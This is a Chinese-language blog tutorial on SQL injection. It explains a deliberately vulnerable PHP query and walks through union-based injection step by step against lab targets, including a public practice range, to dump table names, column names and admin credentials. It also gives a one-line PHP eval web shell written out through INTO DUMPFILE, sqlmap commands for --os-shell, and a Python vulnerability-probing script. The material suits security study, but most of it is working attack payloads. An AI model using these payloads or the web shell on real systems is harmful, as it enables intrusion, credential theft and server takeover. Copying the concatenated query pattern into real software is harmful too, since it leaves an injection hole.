目录
前言
我写了一篇php就觉得好麻烦咳咳,可以去看一下慕课网的php3小时入门,然后搭配菜鸟教程学习。如果需要深入学习
的话,推荐去看 php从入门到精通。我也好久没更新了,因为我最近用python写些小东西,嘿嘿~
我也就开始直接写了。推荐书籍的话,我推荐 《web安全攻防渗透测试实战指南》《白帽子讲web安全》《web安全深度剖析》
我也经常看这几本书
正文
0x01 . 什么是sql注入?
sql注入 指 web应用程序没有对用户输入的数据进行判断,导致前端传入后端的参数
可以被攻击者所控制,并且带入数据库执行
$sql = "SELECT * FROM users where id = $GET['id']";
因为这里的参数,id可以可以控制,所以会被攻击者进行拼接sql语句注入
区别就是有,黑客是在前台访问数据库内容
管理员是在后台访问数据库内容
0x02. SQL注入原理
看上面的图就可以知道,产生sql注入的两个条件
1. 用户可以控制参数的输入
2.原本程序要执行的代码,拼接了用户输入的数据
有看我前面写的那一篇http协议基础,就知道什么是参数了
sql注入源码分析(理解原理与形成)
<?php
$con = mysqli_connect("127.0.0.1","root","root","test");
if (mysqli_connect_errno())
{
echo "连接失败:".mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from user where id=$id");
$row = mysqli_fetch_array($result);
echo $row['username']. " : " .$row['address'];
echo "<br>";
?>
标准的php表达式
然后就是 一些函数
1. mysqli_connect() :检查数据库的连接,第一个是地址,我是本地搭建的,所以是127.0.0.1,也可以写localhost,然后就 是账号,密码,和数据库
2. mysql_connect_errno() : 返回上一次连接错误的错误代码。
3. mysqli_connect_error() : 返回一个描述错误的字符串。如果没有错误发生则返回 NULL
我们故意输入错误的账号看一下,会发生什么事
可以看出这里报错,说第二行出现错误,然后我们就可以判断可能是 地址,或者是账号密码,或者是数据库
4. $id = $_GET['id']; 传参为id,http://192.168.209.138/test/union_sql.php?id=1 也就是这个 ?id=1
如果想改变的成p的话,就改为 $uid = $_GET['p'] 就可以了,至于前面的变量随意命名就好
5. $result = mysqli_query($con,"select * from user where id=$id");
1)mysqli_query() 是针对某个数据库的查询语句
接下来就是MySQL数据库的查询语句,mysqli_query($con,"select * from user where id=$id")
首先是 mysqli_query() 函数,来连接我们的数据库, $con 就是上面的一个数据库连接的变量。我们连接进了test这个数据库
然后再 去执行后面的SQL语句(不懂的可以看我前面文章)
首先查询 user这个表中的数据。然后 id=$id,这里是使用了双引号,所以这里的变量id是生效的,也就是说,我们可以从这里去
拼接进SQL 语句,也就是 sql 注入的形成与产生。符合了2个条件。1.用户可以控制传参 2.拼接了原本程序要执行的语句
然后下面那个函数我就不说了,返回数组
0x03. 进行SQL注入前,必须掌握的知识
1)这里我引用下那本书的 MySQL查询语句
(学习嘛,就要四处借鉴。理解别人是怎么看待,取其精魄)
1. 在不知道任何条件时,查询语句:
select 要查询的字段 from 库名.表名
2. 知道一条已知条件:
select 要查询的字段 from 库名.表名 where 已知的字段名='已知的值'
3. 知道两条已知条件
select 要查询的字段 from 库名.表名 where 已知条件1的字段名='已知条件的值1' and 已知条件2的字段='已知条件2的值'
2). mysql 5.0 版本之后的必知常识
自带数据库: information_schema
库中的表 : SCHEMATA,TABLES,COLUMNS
SCHEMATA表的作用:记录了 用户创建的所有库名,在 SCHEMA_NAME 这个字段下面
TABLES 表的作用:记录了所有用户创建的库名,和表名
库名存储于 tables表中的 table_schema字段中
表名存储于 tables 表中的table_name 这个字段当中
COLUMNS表的作用:存储库名 ,表名,字段名
通过有上角,我们指定搜索,显得更直观
table_schema : 存储 数据库名
table_name :存储表名
column_name : 存储字段名
0x04. SQL注入语句与步骤剖析
第一步,判断是否存在SQL注入
进入靶场 掌控安全靶场
http://59.63.200.79:8003/?id=1
and -50=-50 判断页面是否正常
and -50=-49 判断页面是否错误
初步判断,然后再使用单引号或者双引号判断
第二步:判断字段
http://59.63.200.79:8003/?id=1 order by 1-- qwe
http://59.63.200.79:8003/?id=1 order by 2-- qwe
http://59.63.200.79:8003/?id=1 order by 3-- qwe
http://59.63.200.79:8003/?id=1 order by 4-- qwe
当我们判断时,发现排序到4的时候报错了,说明这个网站有3个字段
然而拼接了sql语句,传进去的就是这么一个内容
也就是3个字段,分别为 id,username,password
因为网址不是数据库,无法查看到数据库信息。所以我们得这样排序一下,看下有几个字段,然后再判断回显点
第三步:判断回显点 || 查看数据库名
然后就会使用到数据库的查询语句,这时候会发现,咋一点反应都没有!
这其实是正常的,要想要有回显点,要使前面的语句错误才可以
然后我发现没有回显点,我用本地搭建的试试~
也是一样的
这时候 and -50=-49 或者 1=2都可以
这时候就发现有回显点了,在2的那个位置
这时候在使用函数 database() 看下数据库名称,我们要在回显点地方才会显示
共3个常用函数
database() : 查看当前网站使用的数据库名称
version() :当前sql数据库的版本
user() :当前mysql的用户
第四步 :查询表名
这里我们已经知道库名,是 test
也就是我们 有一个已知条件了
select 要查询的字段 from 库名.表名 where 已知的字段名='已知的值'
于是我们就可以查询表了
http://192.168.209.138/test/union_sql.php?id=1 and -1=-2
union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1-- qww
发现是user表,那就没错了,这里我们深度的去理解一下SQL注入的语句。
table_name 是存储于 表名的(也就是我们要查询当前test库中的 表)
然后是固定格式,from 库.表(这里有个点,是连接符的意思)
information_schema 是系统自带库
然后再点 tables。这个tables表,就是information_schema里面的那个tables
TABLES 表的作用:记录了所有用户创建的库名,和表名
table_schema字段 : 存储库名
table_name字段 : 存储表名
然后就是 where 已知字段名='已知的值'
where table_schema='test'
就是查询table_schema这个字段中,的一个叫做test表名
意思就是:
联合查询 table_name 这个表中的内容,来自 information_schema这个系统自带库中的,tables表。当 table_schema 这个字段等于test库。
(看下面这张图。我们就理解了。我们查询table_schema字段里面的这个表名名,
来自哪里?查哪个表?
来自 test这个库,里面的表,如果有2个表的话,也可以使用 limit 1,1 。再把第二表排序出来)
于是我画了张图,然后再参照下语句。这样更直观
union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1
第五步. 查询字段名
依旧把上面的图片复制下来
union select 1,column_name,3 from information_schema.columns where table_schema='test' and table_name='user' limit 0,1
(!!这里我才发现我打错字了, 应该是 column_name 没有加s)
然而这里图片说的可能有点绕。意思就是 test库中的user表中的字段。(语文不好~)
意思是:
联合查询 字段名 来自 information_schema中的columns这个表 ,当数据库名为 test,表名为user
我发现这样写好像更通畅哈,其实并不难。英汉互译一下,就知道这些单词的意思了~~~~
于是如图
然后我们使用limit 1,1排序。跟编程中的索引差不多。都是从0开始,我们就 1,1
就显示出了第二个字段
limit 2,1 就显示出了第三个字段
这里我们就知道,总共有三个字段
分别为 id ,username,password
这里我们就可以查询数据了
第六步:查询数据
这里注意,我们要把查询的内容写到 2 的这个回显点这边才行,不然无法显示(这里我就不演示了哈)
我们得到了,username为admin
http://192.168.209.138/test/union_sql.php?id=1 and -1=-2
union select 1,password,3 from user limit 0,1
然后我们再看下password,发现是 admin123
这时候我们再去虚拟机看下数据库
发现没错,但是想要第二条的信息咋办?
union select 1,username,3 from user limit 1,1
union select 1,password,3 from user limit 1,1
我们修改下limit就可以查看了。
这就是SQL注入全过程啦
0x05. SQL注入扩展
1)group_concat()函数
其实呢,还有一个函数 是 group_concat()
是可以一次性的将数据全部显示出来,但是有些数据库有限制。所以我们才用limit
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='user' limit ,1
这样使用即可
2)limit 使用
limit的使用,看张图就可以知道了
3)关于SQL写文件(写shell)
需要满足2个条件:
① 知道绝对路径
② 用户拥有写入的权限
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'C:\phpstudy\WWW\test\shell.php';
进入靶场
发现爆出了绝对路径,这时候我们就可以写了。因为这个地方和数据库有交互~~
然后就是按照这样的方式去写shell
关于sqlmap如何注入,以及写文件
1)如果是get 型注入,直接,sqlmap -u "诸如点网址".
2) 如果是post型诸如点, 可以sqlmap -u "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,
放到文件里,然后sqlmap -r "文件地址"
如何写?
sqlmap.py "http://192.168.209.138/test/union_sql.php?id=1 " --is-dba
可以先使用 --is-dba 判断是否存在权限
然后使用 --os-shell 来进行写shell
0x06. 如何使用python 写SQL注入的poc
什么是poc,poc就是验证漏洞的存在。比如dedecms存在sql注入,xxe漏洞等等,就可以写poc
这里我就直接使用我搭建的靶场来写
呃呃呃,我发觉写的似乎有点多,我直接贴源码出来吧
import requests
import time
from argparse import ArgumentParser
payload = ["%27","%22"]
arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")
arg.add_argument('-u', help='target URL', dest='urls', type=str)
url = arg.parse_args()
def poc():
for payloads in payload:
tg_host = url.urls + payloads
test_1 = requests.get(tg_host)
a = str(test_1.text)
if 'mysql_fetch_row()' in a:
if payloads == '%22':
print('[+] The first stage test is successful!')
print('[+] Url may be vulnerable!')
if 'mysql_fetch_row()' not in a:
if payloads == '%22':
print("[-] Payload appears to have made a mistake, or there is no vul")
tg_host = url.urls + "+and+-50%3d-50"
scan_1 = requests.get(tg_host)
scan_2 = requests.get(url.urls)
text_1 = scan_1.content
text_2 = scan_2.content
if text_1 == text_2:
print("[+] The second stage test is successful!")
print('[+] URL may have vul, please check test!')
else:
print("[-] Payload appears to have made a mistake, or there is no vulnerability")
print("[*] URL: %s"%url.urls)
if __name__=='__main__':
start = time.time()
poc()
end = time.time()
run_time = int(end - start)
print('漏洞探测耗时:%ss' % run_time)
如何就妥妥了,我比较懒哈,自己看。
我具体的文章讲解发到了 我们ghostwolf团队官网那边点击这里跳转
不过似乎还没上传,不过可以关注一下。如何我也发到了掌控社区那边,点这里跳转~~~
文末:
说实话,跟女朋友打打游戏,打打电话,就花了好长。虽然看起来不长,这个东西还是偷懒一下下
关于poc编写我只是分享个思路,本文仅仅是写一写,玩一玩。不要用在非法途径。因为前段时间也有人问我
源码无法搭建成功,咳咳。
然后就是,如果觉得我菜的话,轻点喷哈,我年纪小,心脏小,撑不住暴力。我怕留下心理阴影
(本来想发表情包的,似乎发不上去)